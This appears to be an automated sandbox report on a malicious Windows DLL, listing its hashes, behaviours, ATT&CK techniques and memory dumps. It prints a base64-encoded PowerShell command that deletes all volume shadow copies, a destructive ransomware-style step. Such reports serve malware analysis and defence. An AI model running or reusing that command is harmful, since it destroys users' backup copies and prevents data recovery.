e6c86be9dfce9d85f7115f1370b94846082c87100466a6d7ba975fd2bc72176f

General

Target

e6c86be9dfce9d85f7115f1370b94846082c87100466a6d7ba975fd2bc72176f.dll
Size

166KB
MD5

4c74273e0d60cca59aba845bd165e944
SHA1

38474718d7bfb809e2328496e118ad498f0c0aec
SHA256

e6c86be9dfce9d85f7115f1370b94846082c87100466a6d7ba975fd2bc72176f
SHA512

528e7c8e532b81c4335614f1dd157b3a69da2609423c5f9e0d1b80e7a023267aa7644aa2b91f0728e1ebbfc16e8dd4c407dcecda238ff1a1d40d8aca4c3b6303

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

1256 rundll32.exe
872 powershell.exe

pid	process
1256	rundll32.exe
872	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1256	rundll32.exe
Token: SeDebugPrivilege	872	powershell.exe
Token: SeBackupPrivilege	1844	vssvc.exe
Token: SeRestorePrivilege	1844	vssvc.exe
Token: SeAuditPrivilege	1844	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1892 wrote to memory of 1256	1892	rundll32.exe	rundll32.exe
PID 1892 wrote to memory of 1256	1892	rundll32.exe	rundll32.exe
PID 1892 wrote to memory of 1256	1892	rundll32.exe	rundll32.exe
PID 1892 wrote to memory of 1256	1892	rundll32.exe	rundll32.exe
PID 1892 wrote to memory of 1256	1892	rundll32.exe	rundll32.exe
PID 1892 wrote to memory of 1256	1892	rundll32.exe	rundll32.exe
PID 1892 wrote to memory of 1256	1892	rundll32.exe	rundll32.exe
PID 1256 wrote to memory of 872	1256	rundll32.exe	powershell.exe
PID 1256 wrote to memory of 872	1256	rundll32.exe	powershell.exe
PID 1256 wrote to memory of 872	1256	rundll32.exe	powershell.exe
PID 1256 wrote to memory of 872	1256	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\e6c86be9dfce9d85f7115f1370b94846082c87100466a6d7ba975fd2bc72176f.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1892

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\e6c86be9dfce9d85f7115f1370b94846082c87100466a6d7ba975fd2bc72176f.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1256

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:872

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1844

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/872-55-0x000007FEFC321000-0x000007FEFC323000-memory.dmp

Filesize
8KB

Download
memory/872-57-0x0000000002730000-0x0000000002732000-memory.dmp

Filesize
8KB

Download
memory/872-58-0x0000000002732000-0x0000000002734000-memory.dmp

Filesize
8KB

Download
memory/872-59-0x0000000002734000-0x0000000002737000-memory.dmp

Filesize
12KB

Download
memory/872-56-0x000007FEF35B0000-0x000007FEF410D000-memory.dmp

Filesize
11.4MB

Download
memory/872-60-0x000000001B740000-0x000000001BA3F000-memory.dmp

Filesize
3.0MB

Download
memory/872-61-0x000000000273B000-0x000000000275A000-memory.dmp

Filesize
124KB

Download
memory/1256-54-0x0000000076C61000-0x0000000076C63000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads